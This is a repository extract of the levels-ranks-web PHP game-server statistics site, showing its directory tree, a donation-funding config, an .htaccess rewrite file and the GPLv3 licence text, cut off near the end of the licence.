Repository: levelsranks/levels-ranks-web Branch: alpha Commit: adf8cf4bd3e0 Files: 206 Total size: 1.4 MB Directory structure: gitextract_93895nac/ ├── .github/ │ └── FUNDING.yml ├── .htaccess ├── LICENSE ├── README.md ├── app/ │ ├── ext/ │ │ ├── AltoRouter.php │ │ ├── Auth.php │ │ ├── Db.php │ │ ├── ErrorsHandler.php │ │ ├── General.php │ │ ├── Graphics.php │ │ ├── LightOpenID.php │ │ ├── Modules.php │ │ ├── Notifications.php │ │ ├── Pdox.php │ │ ├── PdoxInterface.php │ │ └── Translate.php │ ├── includes/ │ │ ├── auth/ │ │ │ └── steam.php │ │ ├── functions.php │ │ └── js_controller.php │ ├── logs/ │ │ └── 1.txt │ ├── modules/ │ │ ├── disabled/ │ │ │ ├── module_block_main_bans_and_comms/ │ │ │ │ ├── description.json │ │ │ │ └── forward/ │ │ │ │ ├── data.php │ │ │ │ └── interface.php │ │ │ ├── module_block_main_sb_stats/ │ │ │ │ ├── assets/ │ │ │ │ │ └── css/ │ │ │ │ │ └── 1.css │ │ │ │ ├── description.json │ │ │ │ ├── forward/ │ │ │ │ │ ├── data.php │ │ │ │ │ └── interface.php │ │ │ │ └── translation.json │ │ │ ├── module_block_snow/ │ │ │ │ ├── assets/ │ │ │ │ │ └── js/ │ │ │ │ │ ├── 1.js │ │ │ │ │ └── 2.js │ │ │ │ └── description.json │ │ │ ├── module_page_admins/ │ │ │ │ ├── description.json │ │ │ │ └── forward/ │ │ │ │ ├── data.php │ │ │ │ ├── data_always.php │ │ │ │ └── interface.php │ │ │ ├── module_page_bans/ │ │ │ │ ├── description.json │ │ │ │ └── forward/ │ │ │ │ ├── data.php │ │ │ │ ├── data_always.php │ │ │ │ └── interface.php │ │ │ ├── module_page_comms/ │ │ │ │ ├── description.json │ │ │ │ └── forward/ │ │ │ │ ├── data.php │ │ │ │ └── interface.php │ │ │ ├── module_page_lk_impulse/ │ │ │ │ ├── assets/ │ │ │ │ │ ├── css/ │ │ │ │ │ │ └── 1.css │ │ │ │ │ └── js/ │ │ │ │ │ └── 1.js │ │ │ │ ├── description.json │ │ │ │ ├── ext/ │ │ │ │ │ ├── Basefunction.php │ │ │ │ │ ├── Freekassa.php │ │ │ │ │ ├── Interkassa.php │ │ │ │ │ ├── Lk_module.php │ │ │ │ │ ├── Paypal.php │ │ │ │ │ ├── Paysera.php │ │ │ │ │ ├── Qiwi.php │ │ │ │ │ ├── Robokassa.php │ │ │ │ │ ├── Unitpay.php │ │ │ │ │ ├── WebToPay.php │ │ │ │ │ ├── Webmoney.php │ │ │ │ │ └── Yandexmoney.php │ │ │ │ ├── forward/ │ │ │ │ │ ├── data.php │ │ │ │ │ └── interface.php │ │ │ │ ├── includes/ │ │ │ │ │ ├── gateways.php │ │ │ │ │ ├── install.php │ │ │ │ │ ├── logs.php │ │ │ │ │ ├── payments.php │ │ │ │ │ ├── promocodes.php │ │ │ │ │ ├── result.php │ │ │ │ │ ├── search.php │ │ │ │ │ ├── users.php │ │ │ │ │ └── zalupas.php │ │ │ │ └── translation.json │ │ │ └── module_page_lk_top/ │ │ │ ├── description.json │ │ │ ├── forward/ │ │ │ │ ├── data.php │ │ │ │ └── interface.php │ │ │ └── translation.json │ │ ├── module_block_main_servers_monitoring/ │ │ │ ├── assets/ │ │ │ │ ├── css/ │ │ │ │ │ ├── 1.css │ │ │ │ │ ├── 2.css │ │ │ │ │ ├── 3.css │ │ │ │ │ └── 4.css │ │ │ │ └── js/ │ │ │ │ ├── 1.js │ │ │ │ ├── 2.js │ │ │ │ ├── 3.js │ │ │ │ └── 4.js │ │ │ ├── description.json │ │ │ ├── ext/ │ │ │ │ ├── ServerInfo.php │ │ │ │ └── SourceQuery/ │ │ │ │ ├── BaseSocket.php │ │ │ │ ├── Buffer.php │ │ │ │ ├── Exception/ │ │ │ │ │ ├── AuthenticationException.php │ │ │ │ │ ├── InvalidArgumentException.php │ │ │ │ │ ├── InvalidPacketException.php │ │ │ │ │ ├── SocketException.php │ │ │ │ │ └── SourceQueryException.php │ │ │ │ ├── GoldSourceRcon.php │ │ │ │ ├── Socket.php │ │ │ │ ├── SourceQuery.php │ │ │ │ ├── SourceRcon.php │ │ │ │ └── bootstrap.php │ │ │ ├── forward/ │ │ │ │ └── interface.php │ │ │ ├── includes/ │ │ │ │ └── js_controller.php │ │ │ └── translation.json │ │ ├── module_block_main_stats/ │ │ │ ├── assets/ │ │ │ │ └── css/ │ │ │ │ ├── 1.css │ │ │ │ └── 2.css │ │ │ ├── description.json │ │ │ ├── forward/ │ │ │ │ ├── data.php │ │ │ │ └── interface.php │ │ │ └── translation.json │ │ ├── module_block_main_top/ │ │ │ ├── description.json │ │ │ └── forward/ │ │ │ ├── data.php │ │ │ └── interface.php │ │ ├── module_page_adminpanel/ │ │ │ ├── assets/ │ │ │ │ ├── css/ │ │ │ │ │ └── 1.css │ │ │ │ └── js/ │ │ │ │ └── 1.js │ │ │ ├── description.json │ │ │ ├── ext/ │ │ │ │ └── Admin.php │ │ │ ├── forward/ │ │ │ │ ├── data.php │ │ │ │ ├── data_always.php │ │ │ │ └── interface.php │ │ │ ├── includes/ │ │ │ │ ├── controller.php │ │ │ │ ├── db.php │ │ │ │ ├── general.php │ │ │ │ ├── modules.php │ │ │ │ ├── servers.php │ │ │ │ ├── stats.php │ │ │ │ └── web.php │ │ │ └── translation.json │ │ ├── module_page_profiles/ │ │ │ ├── assets/ │ │ │ │ └── css/ │ │ │ │ └── 1.css │ │ │ ├── description.json │ │ │ ├── ext/ │ │ │ │ └── Player.php │ │ │ ├── forward/ │ │ │ │ ├── data.php │ │ │ │ └── interface.php │ │ │ └── translation.json │ │ ├── module_page_rankstats/ │ │ │ ├── assets/ │ │ │ │ └── css/ │ │ │ │ └── 1.css │ │ │ ├── description.json │ │ │ ├── forward/ │ │ │ │ ├── data.php │ │ │ │ └── interface.php │ │ │ └── temp/ │ │ │ └── cache.php │ │ ├── module_page_toppoints/ │ │ │ ├── description.json │ │ │ └── forward/ │ │ │ ├── data.php │ │ │ └── interface.php │ │ └── module_sidebar_social/ │ │ └── description.json │ ├── page/ │ │ ├── custom/ │ │ │ ├── error/ │ │ │ │ └── index.php │ │ │ └── install/ │ │ │ ├── assets/ │ │ │ │ └── css/ │ │ │ │ └── style.css │ │ │ ├── includes/ │ │ │ │ └── options/ │ │ │ │ ├── admin_no_steam.php │ │ │ │ ├── admin_steam.php │ │ │ │ ├── animations.php │ │ │ │ ├── badge_type.php │ │ │ │ ├── db.php │ │ │ │ ├── form_border.php │ │ │ │ ├── language.php │ │ │ │ ├── name.php │ │ │ │ ├── sidebar.php │ │ │ │ └── webkey.php │ │ │ └── index.php │ │ └── general/ │ │ ├── footer.php │ │ └── head.php │ └── templates/ │ ├── default/ │ │ ├── assets/ │ │ │ ├── css/ │ │ │ │ ├── css_library/ │ │ │ │ │ ├── animations/ │ │ │ │ │ │ └── 1.css │ │ │ │ │ ├── badge_type/ │ │ │ │ │ │ ├── 1.css │ │ │ │ │ │ └── 2.css │ │ │ │ │ └── form_border/ │ │ │ │ │ ├── 0.css │ │ │ │ │ └── 1.css │ │ │ │ └── style.css │ │ │ └── js/ │ │ │ └── app.js │ │ ├── colors.json │ │ ├── description.json │ │ └── interface/ │ │ ├── head.php │ │ ├── navbar.php │ │ └── sidebar.php │ ├── default_dark/ │ │ ├── assets/ │ │ │ ├── css/ │ │ │ │ ├── css_library/ │ │ │ │ │ ├── animations/ │ │ │ │ │ │ └── 1.css │ │ │ │ │ ├── badge_type/ │ │ │ │ │ │ ├── 1.css │ │ │ │ │ │ └── 2.css │ │ │ │ │ └── form_border/ │ │ │ │ │ ├── 0.css │ │ │ │ │ └── 1.css │ │ │ │ └── style.css │ │ │ └── js/ │ │ │ └── app.js │ │ ├── colors.json │ │ ├── description.json │ │ └── interface/ │ │ ├── container.php │ │ ├── head.php │ │ ├── navbar.php │ │ └── sidebar.php │ └── default_navbar/ │ ├── assets/ │ │ ├── css/ │ │ │ ├── css_library/ │ │ │ │ ├── animations/ │ │ │ │ │ └── 1.css │ │ │ │ ├── badge_type/ │ │ │ │ │ ├── 1.css │ │ │ │ │ └── 2.css │ │ │ │ └── form_border/ │ │ │ │ ├── 0.css │ │ │ │ └── 1.css │ │ │ └── style.css │ │ └── js/ │ │ └── app.js │ ├── colors.json │ ├── description.json │ └── interface/ │ ├── head.php │ ├── navbar.php │ └── sidebar.php ├── index.php └── storage/ ├── assets/ │ ├── css/ │ │ ├── style.css │ │ └── vendors/ │ │ └── material-design-iconic-font/ │ │ └── css/ │ │ └── material-design-iconic-font.css │ └── js/ │ └── app.js └── cache/ ├── img/ │ ├── avatars/ │ │ └── 1.json │ └── ranks/ │ ├── dangerzone/ │ │ ├── description.json │ │ └── title.json │ ├── default/ │ │ ├── description.json │ │ └── title.json │ ├── faceit/ │ │ ├── description.json │ │ └── title.json │ ├── gtixon/ │ │ ├── description.json │ │ └── title.json │ └── wingman/ │ ├── description.json │ └── title.json └── sessions/ ├── languages.json └── translator.php ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/FUNDING.yml ================================================ # These are supported funding model platforms github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] patreon: # Replace with a single Patreon username open_collective: # Replace with a single Open Collective username ko_fi: # Replace with a single Ko-fi username tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry liberapay: # Replace with a single Liberapay username issuehunt: # Replace with a single IssueHunt username otechie: # Replace with a single Otechie username custom: [ 'PayPal - M0st1ceNastya@yandex.ru', 'https://qiwi.com/n/M0ST1CE','https://yoomoney.ru/to/410013573116029'] ================================================ FILE: .htaccess ================================================ AddDefaultCharset utf-8 DirectoryIndex index.php index.html index.htm Options -Indexes RewriteEngine On RewriteCond %{REQUEST_URI} !/$ RewriteCond %{REQUEST_URI} !\. RewriteRule ^(.*) %{REQUEST_URI}/ [L,R=301] RewriteRule !.(gif|jpg|png|ico|css|js|svg|js_controller.php|woff2|mp3|mp4|webm|ttf)$ index.php ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary 